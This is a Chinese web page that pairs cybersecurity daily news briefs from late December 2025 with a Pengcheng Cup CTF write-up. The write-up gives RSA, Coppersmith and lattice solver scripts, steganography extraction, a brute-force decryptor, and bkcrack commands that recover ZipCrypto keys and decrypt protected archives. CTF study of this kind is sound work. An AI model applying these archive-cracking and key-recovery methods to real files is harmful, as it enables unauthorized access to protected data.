网络安全日报 2025年12月26日
1、仿冒MAS激活域名传播Cosmali恶意软件 https://www.bleepingcomputer.com/news/security/fake-mas-windows-activation-domain-used-to-spread-powershell-malware/ 安全研究人员发现,攻击者正通过“域名抢注”手段,注册了一个与开源Windows激活工具官方域名极度相似的虚假域名,利用用户拼写错误分发恶意PowerShell脚本。该脚本会部署名为“Cosmali Loader”的恶意软件,进而植入门罗币加密货币挖矿程序和XWorm远程访问木马。 2、Webrat伪装漏洞利用程序通过GitHub针对安全人员 https://securelist.com/webrat-distributed-via-github/118555/ 安全研究人员发现,此前伪装成游戏作弊工具的Webrat后门恶意软件出现了新的攻击活动。攻击者自2025年9月起,在GitHub上创建多个仓库,将恶意软件伪装成针对多个高CVSS评分的漏洞利用程序或概念验证代码进行分发。这些仓库的描述模仿AI生成的漏洞报告用于建立信任。受害者下载并执行恶意压缩包中的文件后,恶意程序会提权、禁用Windows Defender,并最终下载执行Webrat。该后门功能全面,可窃取加密货币钱包、通讯软件凭证,并能进行屏幕录制、摄像头监控和键盘记录 3、FortiOS旧漏洞被利用可绕过V*PN双因素认证 https://thehackernews.com/2025/12/fortinet-warns-of-active-exploitation.html Fortinet发布警告,一个存在于FortiOS SSL VPN中、编号为CVE-2020-12812的五年旧漏洞正被威胁行为体在野外活跃利用。该漏洞属于认证不当问题,CVSS评分为5.2。在特定的“本地用户”启用双因素认证并引用LDAP远程认证的混合配置下,攻击者通过改变登录用户名的大小写,即可使FortiGate设备无法匹配到本地用户策略,转而fallback至仅依赖密码的LDAP组认证,从而成功绕过双因素认证层。此漏洞可导致管理员或 4、MongoDB曝高危RCE漏洞 https://www.bleepingcomputer.com/news/security/mongodb-warns-admins-to-patch-severe-rce-flaw-immediately/ MongoDB官方发布安全公告,披露一个编号为CVE-2025-14847的高危远程代码执行漏洞。该漏洞源于对zlib压缩实现中长度参数的处理不当,允许未经身份验证的攻击者利用此缺陷,在无需用户交互的情况下,远程在目标服务器上执行任意代码并可能获取控制权。该漏洞影响广泛,涉及MongoDB Server从3.6到8.2的几乎所有主要版本系列。官方建议管理员立即将受影响的数据库升级至已 5、新韩信用卡公司泄露19.2万商户信息 https://thecyberexpress.com/shinhan-card-data-breach/ 韩国新韩信用卡公司于12月23日确认发生一起数据泄露事件,波及约19.2万家签约商户。该公司声明,此次事件并非外部网络攻击所致,而是源于其销售分支一名员工的内部不当行为。该员工涉嫌为销售目的,将商户数据传输给外部卡片推销员。泄露的信息主要为手机号码,部分包含姓名、出生日期和性别。 6、美国SEC起诉涉AI概念的1400万加密货币骗局 https://thehackernews.com/2025/12/sec-files-charges-over-14-million.html 美国证券交易委员会(SEC)近日对多家公司提起诉讼,指控其参与一项精心设计的加密货币骗局,从零售投资者处诈骗了超过1400万美元。该骗局通过在社交媒体投放广告,将受害者引诱至WhatsApp等平台的投资群组。在群组中,诈骗者伪装成金融专业人士,并虚假承诺能提供人工智能(AI)生成的投资建议以建立信任,随后诱使受害者将资金投入名为Morocoin、Berge和Cirkor的虚假加密货币交易平台。这些平台谎称持有政府牌照并提供虚构的“证券代币发行”,实 7、OpenAI加固Atlas浏览器Agent防御"提示注入"攻击 https://www.freebuf.com/articles/ai-security/463716.html 随着人工智能开始代表我们浏览网页,安全战场正从服务器转移到浏览器标签页。OpenAI已为其ChatGPT Atlas的Agent模式部署关键安全更新,以抵御内部测试中发现的新型对抗性威胁。 8、LangChain高危缺陷使提示注入攻击可窃取机密 https://www.freebuf.com/articles/ai-security/463717.html 研究人员在流行的开源框架LangChain中发现一个关键漏洞,该框架广泛用于驱动大型语言模型(LLM)Agent。该漏洞编号为CVE-2025-68664,CVSS评分高达9.3分,攻击者可能利用该漏洞提取敏感环境变量或触发非预期的系统操作。 9、PCPcat行动:48小时内6万台Next.js服务器遭劫持 https://securityonline.info/operation-pcpcat-60000-next-js-servers-hijacked-in-just-48-hours/ "PCPcat"网络攻击利用Next.js和React漏洞48小时攻陷5.9万台服务器,窃取云凭证等敏感数据。攻击采用工业级精密手段,C2服务器暴露致规模曝光。建议立即修补漏洞并轮换凭证,否则月内或超120万服务器沦陷。 10、Net-SNMP9.8分高危缓冲区溢出漏洞威胁全球监控系统 https://securityonline.info/critical-network-collapse-9-8-severity-net-snmp-buffer-overflow-threatens-global-monitoring-systems/ Net-SNMP曝出高危漏洞CVE-2025-68615,CVSS评分9.8,攻击者可利用缓冲区溢出导致snmptrapd崩溃或远程代码执行。建议升级至5.9.5/5.10.pre2版本,并限制UDP 162端口访问。 声明 以上内容原文自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2025年12月25日
1、MacSync变种通过公证应用部署可绕过macOS安全检查 https://www.bleepingcomputer.com/news/security/new-macsync-malware-dropper-evades-macos-gatekeeper-checks/ 安全研究人员发现,macOS信息窃取程序MacSync的最新变种。此次攻击的核心是通过一个经过苹果官方代码签名和公证的Swift应用程序进行分发,这一合法化载体使其能直接绕过macOS的Gatekeeper安全检查。该恶意投放器通过将DMG文件膨胀至25.5MB(内含诱饵PDF)、执行后擦除脚本以及进行联网检查等多种机制规避检测与分析。投放器在系统上解码并执行的最终载荷为MacSy 2、安全研究人员发现新型Android远程控制木马 https://securityonline.info/the-silent-hijacker-new-cellik-android-rat-turns-legitimate-google-play-apps-into-surveillance-tools/ 安全研究人员发现,一款名为Cellik的新型Android远程控制木马正在网络犯罪论坛中作为“恶意软件即服务”销售。该木马最大的威胁在于其传播方式:攻击者可直接从控制面板选择Google Play商店中的热门合法应用,通过内置的“APK构建器”将Cellik的恶意负载注入其中,以绕过安全检测并提高用户安装几率。一旦安装,攻击者便能以每月 3、新型二维码钓鱼利用假工资单与验证码窃密 https://securityonline.info/the-payroll-trap-new-quishing-campaign-uses-fake-captchas-to-hijack-employee-paychecks/ 安全研究人员近日披露一种定制化的新型“二维码钓鱼”攻击。攻击者向目标员工发送伪装成工资更新通知的钓鱼邮件,内嵌二维码以规避传统邮件安全网关的链接检测。当员工使用个人手机扫描二维码后,将被引导至一个精心伪造的恶意网站。该网站首先会呈现一个虚假的验证码环节,其目的并非拦截机器人,而是在建立用户信任感的同时,为后台恶意脚本运行争取时间。该脚本会自动捕获并填充受害者的邮箱 4、国际刑警组织在非洲逮捕网络犯罪574人 https://thehackernews.com/2025/12/interpol-arrests-574-in-africa.html 国际刑警组织协调19个非洲国家,于2025年10月27日至11月27日开展代号“哨兵”的联合执法行动,成功逮捕574名嫌疑人,缴获300万美元,并摧毁超6000个恶意链接。此次行动重点打击商业邮件诈骗、数字勒索及勒索软件,所涉案件造成经济损失超2100万美元。行动中捣毁了一个利用仿冒快餐品牌网站诈骗的超40万美元犯罪网络。与此同时,美国司法部宣布,一名35岁的乌克兰公民阿尔乔姆·斯特里扎克对其作为Nefilim勒索软件附属成员攻击美、加、澳等国企业的指控 5、WatchGuard Firebox防火墙曝关键零日漏洞正遭利用 https://www.bleepingcomputer.com/news/security/watchguard-warns-of-new-rce-flaw-in-firebox-firewalls-exploited-in-attacks/ 12 月 22 日,安全厂商 WatchGuard 发出紧急警告,称其 Firebox 防火墙设备存在一个关键的远程代码执行(RCE)漏洞。该漏洞目前已被黑客在野外积极利用。据统计,全球有超过 11.5 万台暴露在公网的 Firebox 设备尚未修复,面临极高风险。 6、FBI 查封大规模银行账户接管诈骗域名,涉案达1460万美元 https://www.bleepingcomputer.com/news/security/fbi-seizes-domain-storing-bank-credentials-stolen-from-us-victims/ 美国司法部(DoJ)于 12 月 24 日宣布,FBI 成功查封了域名 web3adspanels.org。该域名被网络犯罪集团用于托管从大规模钓鱼攻击中窃取的银行登录凭证。该犯罪网络此前通过“账户接管”攻击导致受害者损失超过 1460 万美元。 7、微软在 Windows 11 中推出硬件加速的 BitLocker https://www.bleepingcomputer.com/news/security/microsoft-rolls-out-hardware-accelerated-bitlocker-in-windows-11/ 微软正在 Windows 11 中推出硬件加速的 BitLocker,以利用系统级芯片和 CPU 的能力,解决日益增长的性能和安全问题。 8、安全研究人员披露AI聊天机器人Eurostar漏洞,反遭“勒索”指控 https://www.theregister.com/2025/12/24/pentesters_reported_eurostar_chatbot_flaws/ 12 月 24 日,安全研究人员披露了欧洲之星(Eurostar)AI 客服机器人的多个关键漏洞,包括提示注入(Prompt Injection)和 HTML 注入。然而,Eurostar 并未感谢研究人员,反而指责其报告漏洞的行为构成“勒索”。此事件引发了关于 AI 安全研究伦理和“安全港”政策的激烈讨论。 9、Spotify确认大规模元数据抓取事件涉及2.56亿条记录 https://www.theregister.com/2025/12/22/hacktivists_scrape_songs_spotify/ Spotify 于 12 月 23 日回应了关于“Anna's Archive”盗版组织抓取其数据的报道。Spotify 承认发生了未经授权的大规模抓取,涉及 2.56 亿条曲目元数据和 8600 万个音频文件。虽然 Spotify 声称用户个人账户数据未受影响,但已禁用了相关被滥用的账户。 10、微软希望在2030年前将C 和 C++代码转换为Rust https://www.theregister.com/2025/12/24/microsoft_rust_codebase_migration/ 微软希望将其整个 C 和 C++代码库转换为 Rust,并正在招聘人员来实现这一目标。目标是到 2030 年彻底消除微软所有的 C 和 C++代码,“微软杰出工程师加伦·亨特”在最近的一篇 LinkedIn 帖子中写道。他补充道:“我们的策略是结合人工智能和算法来重写微软最大的代码库。目标是‘1 名工程师,1 个月,100 万行代码’。” 声明 以上内容原文自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
记2025鹏城杯CTF线上赛部分题目
0.前言 这次鹏城杯真的是燃尽了,能不能进线下就看命了 1.cry 1.1 babyrsa 一道典型的RSA 密钥恢复题目,具体来说,它是利用高精度浮点数泄露来还原私钥参数的题目,题目给出了一个名为 leak 的变量,其计算公式为 这道题之所以会发生泄露,核心原因在于:题目给出的十进制小数精度远大于还原分数所需的信息量 简单来说,是因为给的小数点后的位数太多了,多到足以精确地反向推算出原本的分子和分母,举个例子来说: 低精度假设原本分数是 1/3,但我只告诉你 0.3 你无法确定是 1/3,还是3/10,这就很安全,因为精度丢失了。 但是高精度:假设原本分数是 1/3,我告诉你 0.33333333...给了你足够的位数,你会发现只有 1/3 这个简单的分数能完美匹配这一长串数字,而不是 3333/10000这种复杂的数字 这道题,分母只需要约617 位就能表示,题目却给了1024 位的信息 1024 > 617,这多出来的 400 多位精度,保证了我们可以毫无歧义地将这个小数转回唯一的那个分数 exp.py import decimal from Crypto.Util.number import long_to_bytes # --- 题目数据 --- leak_str = "1.3969956948314142034760636908387303088158416627373185589061078235539227183409821258015953684496081887700518817652929785489605203260367791301675182852378171015418077660176425300650809306546949489435067142686854007095803988949026934070169886703944238925862640772472637102632209325778376423 d = 16306054997613721520756151430779642117683661431522665108784419231044104572118893098180652730976905729602478591047033305251624752030036736271198006715513694904231940253554804069707679445942892410812386221633728427239116007373836662495075237456279818311659331982404534490546781763464409713789636372 c = 79083690006080753062265522407138900416497998949030745793566278118658422373152011534985792052236005265209948116616086308880454629215471668721075079480627178369528558048069764148874137290604312652175398957109366690892485157461917161611949964699775770486024275535842860644753009796494161714693131689 # --- 求解脚本 --- # 设置足够的精度 (大于leak的位数) decimal.getcontext().prec = 5000 L = decimal.Decimal(leak_str) # 尝试常见的 e 值 e_list = [65537, 3, 5, 17, 257] print("开始寻找 flag ...") for e in e_list:    # k 的范围通常在 1 到 e 之间    for k in range(1, e):        # 检查 k 是否能整除 e*d - 1        if (e * d - 1) % k == 0:            phi = (e * d - 1) // k                        # 使用一元二次方程求 q 的近似值: L*q^2 - (L+1)*q + (1-phi) = 0            # 判别式 delta = (L+1)^2 - 4*L*(1-phi)            #           = (L+1)^2 + 4*L*(phi-1)            term1 = (L + 1) ** 2            term2 = 4 * L * (decimal.Decimal(phi) - 1)            delta = term1 + term2                        if delta < 0:                continue                        # 求解正根 (q 是大素数,取正号)            sqrt_delta = delta.sqrt()            q_approx = (L + 1 + sqrt_delta) / (2 * L)                        # 转为整数并搜索附近的整数            q_int = int(q_approx)                        # 搜索范围可以很小,因为 leak 精度极高            for q_cand in range(q_int - 2, q_int + 3):                if q_cand < 2: continue                                # 验证: (q-1) 必须整除 phi                if phi % (q_cand - 1) == 0:                    p_cand = phi // (q_cand - 1) + 1                    n = p_cand * q_cand                                        try:                        # 尝试解密                        m_int = pow(c, d, n)                        m_bytes = long_to_bytes(m_int)                                                # 检查 flag 特征                        if b'ISCTF' in m_bytes or b'flag' in m_bytes:                            print(f"\n[+] 成功找到 Flag (e={e}, k={k})")                            print(f"[+] Flag: {m_bytes.decode()}")                            exit()                    except Exception:                        pass print("[-] 未找到 Flag,请检查输入数据或参数。") 1.2 peco 这是一道复合型密码学题目,融合了多种数论和格密码攻击技术 主要类型可以归纳为:RSA 密钥恢复 + 不定方程求解 + 格格归约 基本思路就是 1.解不定方程→获得 x,y 2.Hensel Lifting亨泽尔引理 + Coppersmith →分解 n→解密得到 m 3.构造 Lattice 使用 LL→求解 f0,f1→拼接得到 Flag exp.py import sys # 手动实现 long_to_bytes def long_to_bytes(val, endianness='big'):    val = int(val)    if val == 0: return b'\x00'    width = (val.bit_length() + 7) // 8    return val.to_bytes(width, byteorder=endianness) # --- 题目数据 --- n = 18443962106578943927922829208562388331564422618353954662348987125496135728205879853444693999188714508145409575298801277623433658530589571956301880815632542860363148763704636874275223979061507756787642735086825973011622866458454405794279633717255674221895468734500735123736684346340314680683830866 c = 81762838097705786394459165717488909168636814964883384368153897813442717204458657525680076512319102055307352963054718809714221739154039568578633306989315596589098266424568607615406078785532287827996359764630900370221647399763025338921737516877811009800390657220820917141411411361717013609815400406 gift1_A = 1293023064232431070902426583269468463 gift1_B = 105279230912868770223946474836383391725923 gift2 = 26161714402997656593966327522661504448812191236385246127313450633226841096347099194721417620572738092514050785292503472019045698167235604357096118735431692892202119807587271344465029467089266358735895706496467947787464475365718387614 e = 65537 # --- 全局变量存储结果 --- val_x = None val_y = None p_found = None q_found = None m_dec = None print("=== 步骤 1: 求解佩尔方程 x, y ===") # 你的日志显示这步已经成功了,我保留代码以确保完整性 g = gcd(gift1_A, gift1_B) A_prime = gift1_A // g B_prime = gift1_B // g D = A_prime * B_prime K.<sqrtD> = QuadraticField(D) try:    unit = K.units()[0]    # 转换为整数单元    curr = unit    u, v = 0, 0    # 尝试几次幂来消除分母 (通常 1 或 2 次即可)    for _ in range(6):        try:            u = ZZ(curr[0])            v = ZZ(curr[1])            break        except TypeError:            curr = curr * unit    else:        print("[-] 无法找到整数解,跳过 x,y 求解 (如果之前已算出可手动填入)")            if u**2 - D*v**2 == -1:        u, v = u**2 + D*v**2, 2*u*v            val_x = u    val_y = A_prime * v    print(f"[+] 找到 x: {str(val_x)[:30]}...")    print(f"[+] 找到 y: {str(val_y)[:30]}...") except Exception as e:    print(f"[-] Pell 求解出错: {e}") if val_x is not None:    print("\n=== 步骤 2: Hensel Lifting 恢复 p 低位 ===")    p_cands = [1]    mod_limit_bits = 777        for k in range(1, mod_limit_bits):        next_mod = 1 << (k + 1)        new_cands = []        for val in p_cands:            for bit in [0, 1]:                cand = val | (bit << k)                try:                    # 验证 p^7 + (n/p)^13 == gift2                    inv_p = inverse_mod(cand, next_mod)                    q_val = (n * inv_p) % next_mod                    lhs = (pow(cand, 7, next_mod) + pow(q_val, 13, next_mod)) % next_mod                    if lhs == (gift2 % next_mod):                        new_cands.append(cand)                except: pass        p_cands = new_cands        if not p_cands:            print(f"[-] Lifting 在第 {k} 位中断")            break                print(f"[+] Lifting 完成,候选数量: {len(p_cands)}")        print("\n=== 步骤 3: Coppersmith 恢复完整 p ===")    P_poly.<x_poly> = PolynomialRing(Zmod(n))        # 遍历所有候选 p0    for idx, p0 in enumerate(p_cands):        print(f"[*] 正在尝试候选 {idx+1}/{len(p_cands)} ...")                # 构造多项式 f(x) = p0 + x * 2^777        f = p0 + x_poly * (1 << mod_limit_bits)        f = f.monic()                # 【关键优化】        # 未知位数 = 1024 - 777 = 247 bits        # 设置 X 为 2^250 (略大于247),beta 为 0.4        # 只要 X < N^(beta^2) 即可。N^0.16 ≈ 320 bits > 250 bits,条件满足且计算快。        try:            roots = f.small_roots(X=2**250, beta=0.4)            if roots:                p_high = int(roots[0])                p_check = p0 + p_high * (1 << mod_limit_bits)                if n % p_check == 0:                    p_found = p_check                    q_found = n // p_check                    print(f"[+] 成功分解 n !")                    break        except Exception as e:            print(f"[-] Coppersmith 错误: {e}")            continue    if p_found:        print("\n=== 步骤 4: RSA 解密 m ===")        phi = (p_found - 1) * (q_found - 1)        d_rsa = inverse_mod(e, phi)        m_dec = pow(c, d_rsa, n)        print(f"[+] m = {m_dec}")                print("\n=== 步骤 5: LLL 求解 Flag ===")        # 构造格矩阵        M = Matrix(ZZ, [           [1, 0, val_x],           [0, 1, val_y],           [0, 0, m_dec]       ])                print("[*] 正在执行 LLL ...")        L = M.LLL()                print("[*] 搜索结果向量 ...")        for row in L:            f0_cand = abs(row[0])            f1_cand = abs(row[1])            r_cand = abs(row[2])                        # 题目约束 r < 2^99,这里放宽一点检查            if r_cand < 2**110:                s0 = long_to_bytes(int(f0_cand))                s1 = long_to_bytes(int(f1_cand))                                # 检查所有可能的拼接组合                cands = [s0 + s1, s1 + s0]                for flag_bytes in cands:                    if b"flag{" in flag_bytes or b"ISCTF" in flag_bytes:                        print(f"\n[SUCCESS] Flag: {flag_bytes.decode(errors='ignore')}")                        sys.exit(0)                print("[-] 未能自动识别 Flag,请手动检查以下向量:")        for row in L[:3]:            print(row)    else:        print("[-] 未能分解 n") 2.misc 2.1 blue 给了一张图片,但是啥都看不清 提取blue部分的像素值看看结果: from PIL import Image img = Image.open('blue.png') width, height = img.size s = [] for i in range(width):    for j in range(1):        tmp = img.getpixel((i,j))        s.append(tmp[2]) print(bytes(s).hex()) 发现取出每个字节的高8位,可以组成zip(开头504b0304),处理 from PIL import Image from tqdm import * img = Image.open('blue.png') width, height = img.size s = '' for i in trange(height):    for j in range(width):        tmp = img.getpixel((j,i))        #print(hex(tmp[2]>>4)[2:])        s += hex(tmp[2]>>4)[2:] open('oo.zip','wb').write(bytes.fromhex(s)) 得到zip,加密,里面有xor.png 试试看用明文攻击 bkcrack.exe -C oo.zip -c xor.png -x 0 89504e470d0a1a0a0000000d4948445200 得到key 68cc45ab 864060ce ac958caa .\bkcrack.exe -C oo.zip -c xor.png -k 68cc45ab 864060ce ac958caa -d xor.png 得到 xor.png,末尾有另一个png,提取出来,根据名字xor,将两幅图异或得到xor1.png: from PIL import Image import numpy as np # 打开图片 img1 = Image.open("xor.png") img2 = Image.open("Untitled1.png") # 确保模式和尺寸一致 assert img1.size == img2.size assert img1.mode == img2.mode # 转为 numpy 数组 arr1 = np.array(img1) arr2 = np.array(img2) # 像素逐位 XOR xor_arr = arr1 ^ arr2 # 转回 Image 并保存 xor_img = Image.fromarray(xor_arr) xor_img.save("xor1.png") 得到的xor1.png与xor.png类似,盲水印解,解完就可以得到flag了 2.2 Hidden 给了一个.bmp格式的图片,zsteg查看lsb: zsteg -a treasure.bmp 再尝试steghide隐写,密码PixelWhisper: steghide extract -sf treasure.bmp 去看看flag.txt flag{a9a3c2872e428b6d859a0e63458a43f8} 2.3 the_rogue_beacon 一个流量包,用wirehark打开 题目说要找到其峰值,这么多流量帧看得我眼睛疼 观察数据包,发现主要存在两个疑似传输数值的 ID: · ID 0x039:数据跳变剧烈,无规律,判断为干扰信号 · ID 0x244:数值呈现平滑的加速趋势,符合物理运动规律,锁定为真实车速信号 由于题目文件中的 CAN-ID 采用大端存储,直接解析 ID 0x244 对应的 Hex 为 00 00 02 44。 在过滤器栏输入以下指令,仅显示真实车速数据,输入 frame[0:4] contains 00:00:02:44 ,只显示真实车速数据包 搜索到12149帧,此时的数据是35e4 上一行的数据是35d1,比35e4小 下一行的数据也是35d1,比35e4小,说明12149号帧就是峰值 而题目要求是sha-256加密,那直接拿12149去哈希就是flag了 flag{9db878fd06dd7587a91c0fb600e0e9f7c3ea310e75f36253ef57ac2d92dd8c29} 2.4 SMB 这道题其实是流量分析和逆向的结合 使用 Wireshark 打开提供的流量包文件,观察流量包中的协议分布 在流量包中发现大量 SMB 协议流量,SMB 是 Windows 系统中用于文件共享的协议,流量中可能包含传输的文件 发现一个名为 letter.exe 的可执行文件将该文件保存到本地 然后就是逆向的部分了,ida启动 这居然还是rust语言的 真正的主函数是这个letter::main,不是main v2 = __rustc::__rust_alloc(a1, a2, 1LL, 19LL); //这里应该是分配内存 //从地址 0x1400A22A8 复制 19 字节数据 *(_OWORD *)v2 = xmmword_1400A22A8; *(_DWORD *)(v2 + 15) = 1060843565; 在 IDA 中定位到地址 0x1400A22A8使用 Hex View 查看该地址的数据 刚好是19个字符串,怀疑这里就是flag,数据中包含可打印字符和不可打印字符,怀疑使用了简单的加密算法 编写 Python 脚本尝试常见的 XOR 密钥,当 XOR 密钥为 0x42 时,成功解密出 flag 2.5 zipcracker 给了三个东西 do u know it是一个grc文件,将 I/Q 的实部、虚部分别写入文件 something in it.jpg末尾有个zip,提取出来,可以得到 flag1.txt和 flag2.txt,分别是 I/Q 的实部、虚部 重构复数 IQ,然后NBFM解调,再低通+降采样到音频速率,保存为wav文件: import numpy as np from scipy.signal import decimate from scipy.io.wavfile import write I = np.fromfile("Untitled1/flag1.txt", dtype=np.float32) Q = np.fromfile("Untitled1/flag2.txt", dtype=np.float32) iq = I + 1j * Q phase = np.unwrap(np.angle(iq)) fm = np.diff(phase) audio = decimate(fm, 4) print(audio) write("out.wav", 48000, audio / np.max(np.abs(audio))) 获得一段音频,一听就知道是摩斯密码 提取一下 .---- .---- ....- ..... .---- ....- ...-- ..... ----- ..--- ...-- ....- .---- .---- ....- ..... .---- ....- 翻译过来就是114514350234114514 解压flag.zip,其中flag.txt是头尾已知的部分明文,flag.zip是包含flag.txt的加密压缩包 明文攻击 bkcrack.exe -C flag.zip -c flag.txt -x 0 666c61677b593075 -x 25 2121217d 得到三个key 33b19021 93c4a78d 9ceed931 拿ARCHPR去跑,就可以得到flag 3.re 3.1 more_more_flower Windows 32-bit PE 可执行文件Console 程序 给的flagSHA256.txt:给了一个 flag 的 SHA256,用来最后校验结果 flagSHA256.txt 内容类似: flag SHA256 Encrypted:3dbe89f66cb189f9cac1fb5ec23fac941df69119792aad4b6d61d63b98ddb527 IDA里面跟flag有关的就是这个函数 sub_401000这个函数很长,大概就是 全局变量每轮从 .data 里取 opcode 还有dispatch jump table,opcode -> handler 地址 还有全局寄存器R0C、R10、R14、R18、R28… 最后还在在 .data 里开了一段空间 + SP 指针,就是用来验证flag 输入长度固定为 0x18(24)字节,处理时按 dword对齐读取,因此总共会跑6 个 block 每次取 4 字节时,先按高字节在前拼成 32-bit 值: - v = (b0<<24) + (b1<<16) + (b2<<8) + b3 完成该 block 的运算后,结果不会按原顺序写回,而是把 dword 拆成 小端序的 4 个字节压入 VM 栈 并没有单独的 loop 变量,而是把计数放在 栈底第 0 字节 启动阶段先 PUSH 0x06,每处理完一组就对 STACK[0] 做 -1,再用 JNZ STACK[0] 来决定要不要继续下一组 每个 4 字节 block 内部会进入一个固定轮数的 ARX 更新流程,风格接近 TEA 那类“sum 逐轮叠加 delta”的写法 - sum 初始清零(VM 里对应 R18) - 轮数硬编码为 0x1e(即 30) 每轮的顺序是先累加: - sum += delta 随后再更新数据本体 v: - v += ((v<<5) ^ sum ^ (v>>4)) delta 不是直接出现的立即数,而是由字节码“拼装”出来:每轮都会 push 四个字节 56 11 25 23,再 POP 成 dword,因此得到常量: - delta = 0x23251156 6 组数据全部处理完后,VM 栈里会累计得到 24 个变换后的输出字节;随后 bytecode 进入固定 24 次的校验循环,每次都从栈顶 POP 1 字节并与 .data 段中的常量数组 DATA[i] 通过 SUB+JNZ 逐一比对,一旦不相等就直接走失败分支 RET 0。由于校验是“从栈顶往下弹”,实际比较顺序与生成顺序相反,因此整体等价于检查 DATA == reverse(out)。从 .data 中提取的 24 字节常量为 21 7a 01 1c 33 d3 3e f7 03 78 25 5e 2f b8 8b 3b 93 84 ae 5b de a5 d6 e9,将其反序后再按 用python会跑得很慢,所以直接改为用C++好了 #pragma GCC optimize("O3,unroll-loops") #include <iostream> #include <vector> #include <string> #include <iomanip> #include <cstdint> #include <array> // 配置常量 const uint32_t CFG_DELTA = 0x23251156; const int CFG_ROUNDS = 30; // 待解密的密文块 (从 .data 提取) const std::vector<uint32_t> TARGETS = {    0xDEA5D6E9, 0x9384AE5B, 0x2FB88B3B,    0x0378255E, 0x33D33EF7, 0x217A011C }; // 预计算 acc 表,避免重复计算 uint32_t ACC_TABLE[CFG_ROUNDS]; void precompute_acc() {    uint32_t acc = 0;    uint32_t delta = CFG_DELTA;    for(int i = 0; i < CFG_ROUNDS; i++) {        acc += delta;        ACC_TABLE[i] = acc;   } } // 核心加密函数 (内联以提速) inline uint32_t encrypt_core(uint32_t v) {    for (int i = 0; i < CFG_ROUNDS; i++) {        // v = v + ((v << 5) ^ acc ^ (v >> 4))        v += ((v << 5) ^ ACC_TABLE[i] ^ (v >> 4));   }    return v; } // 辅助:将整数转为字符串(自动处理字节序) std::string u32_to_str(uint32_t val, bool little_endian) {    std::string s(4, ' ');    if (little_endian) {        s[0] = (val >> 0) & 0xFF;        s[1] = (val >> 8) & 0xFF;        s[2] = (val >> 16) & 0xFF;        s[3] = (val >> 24) & 0xFF;   } else {        s[0] = (val >> 24) & 0xFF;        s[1] = (val >> 16) & 0xFF;        s[2] = (val >> 8) & 0xFF;        s[3] = (val >> 0) & 0xFF;   }    return s; } int main() {    std::cout << "[*] Initializing tables..." << std::endl;    precompute_acc();    // 1. 快速验证:检查 "flag" 是否匹配第一个块    // "flag" -> 0x67616C66 (Little Endian) 或 0x666C6167 (Big Endian)    uint32_t test_le = 0x67616C66;    uint32_t test_be = 0x666C6167;    std::cout << "[?] Check logic: 'flag' encrypts to:" << std::endl;    std::cout << "   LE input -> " << std::hex << encrypt_core(test_le) << std::endl;    std::cout << "   BE input -> " << std::hex << encrypt_core(test_be) << std::endl;    std::cout << "   Target 0 -> " << std::hex << TARGETS[0] << std::endl;    std::cout << "------------------------------------------------" << std::endl;    std::cout << "[*] Starting brute force (Space: ~81M)..." << std::endl;        // 存储结果:key 是 target 索引, value 是解出的字符串    std::string results[6];    int found_count = 0;    // 4层循环穷举 (c0 c1 c2 c3)    // 假设输入是 "ABCD",我们构建两个整数:    // LE_VAL = 0x44434241 (x86常用)    // BE_VAL = 0x41424344 (网络序/Z3脚本常用)        // 优化:并行计算 (如果编译器支持 OpenMP)    #pragma omp parallel for collapse(2)    for (int c0 = 32; c0 <= 126; c0++) {        for (int c1 = 32; c1 <= 126; c1++) {            for (int c2 = 32; c2 <= 126; c2++) {                for (int c3 = 32; c3 <= 126; c3++) {                                        // 构建两种字节序的整数                    uint32_t val_be = (c0 << 24) | (c1 << 16) | (c2 << 8) | c3;                    uint32_t val_le = (c3 << 24) | (c2 << 16) | (c1 << 8) | c0;                    // 计算加密                    uint32_t enc_be = encrypt_core(val_be);                    uint32_t enc_le = encrypt_core(val_le);                    // 检查是否命中目标                    for (int i = 0; i < 6; i++) {                        if (enc_le == TARGETS[i]) {                            // 命中 LE 模式                            char buf[5] = {(char)c0, (char)c1, (char)c2, (char)c3, 0};                            #pragma omp critical                           {                                std::cout << "[+] Found Chunk [" << i << "] (LE Mode): " << buf << std::endl;                                results[i] = buf;                                found_count++;                           }                       }                        else if (enc_be == TARGETS[i]) {                            // 命中 BE 模式                            char buf[5] = {(char)c0, (char)c1, (char)c2, (char)c3, 0};                            #pragma omp critical                           {                                std::cout << "[+] Found Chunk [" << i << "] (BE Mode): " << buf << std::endl;                                results[i] = buf;                                found_count++;                           }                       }                   }               }           }       }   }    std::cout << "[*] Done." << std::endl;    std::cout << "Final Flag: ";    for(int i=0; i<6; i++) std::cout << (results[i].empty() ? "????" : results[i]);    std::cout << std::endl;    return 0; } 运行完就是flag{Fl0weRTeAVM15E3}
网络安全日报 2025年12月24日
1、攻击者利用伪造官方函件攻击俄罗斯国防机构 https://therecord.media/cyber-spies-fake-new-year-concert-russian-phishing 安全研究人员近期发现,一个名为Goffee的网络攻击组织自2025年10月起,针对俄罗斯军方人员及国防工业实体发起新一轮攻击。攻击者使用包含语言错误、伪造粗糙的俄语钓鱼文件作为诱饵,其中包括伪造的高级军官新年音乐会邀请函以及冒充俄罗斯副部长的官方信函。感染链始于诱骗用户打开恶意LNK文件,最终在目标系统上部署此前未被记录的后门程序“EchoGather”。该后门功能全面,可实现信息窃取、命令执行与文件外传,数据被回传至伪装成外卖网站的C2服务器 2、攻击者滥用开源监控工具“Nezha”作为木马 https://hackread.com/hackers-abuse-monitoring-tool-nezha-trojan/ 安全研究人员近期发现,一款在GitHub上获得近万星标的开源服务器监控工具“Nezha”正被攻击者滥用作功能完整的远程访问木马。该工具因其合法性,在安全软件检测中显示为零告警,能完全绕过基于特征码的防御。攻击者利用其“开箱即用”、具备跨平台支持(Windows、Linux、macOS等)且通信流量酷似正常监控数据的特点,可隐秘地获取系统最高权限,实现文件管理、命令执行和实时终端控制。 3、HardBit 4.0勒索软件利用开放RDP与SMB服务入侵 https://cybersecuritynews.com/hardbit-4-0-ransomware-actors-attack-open-rdp/ 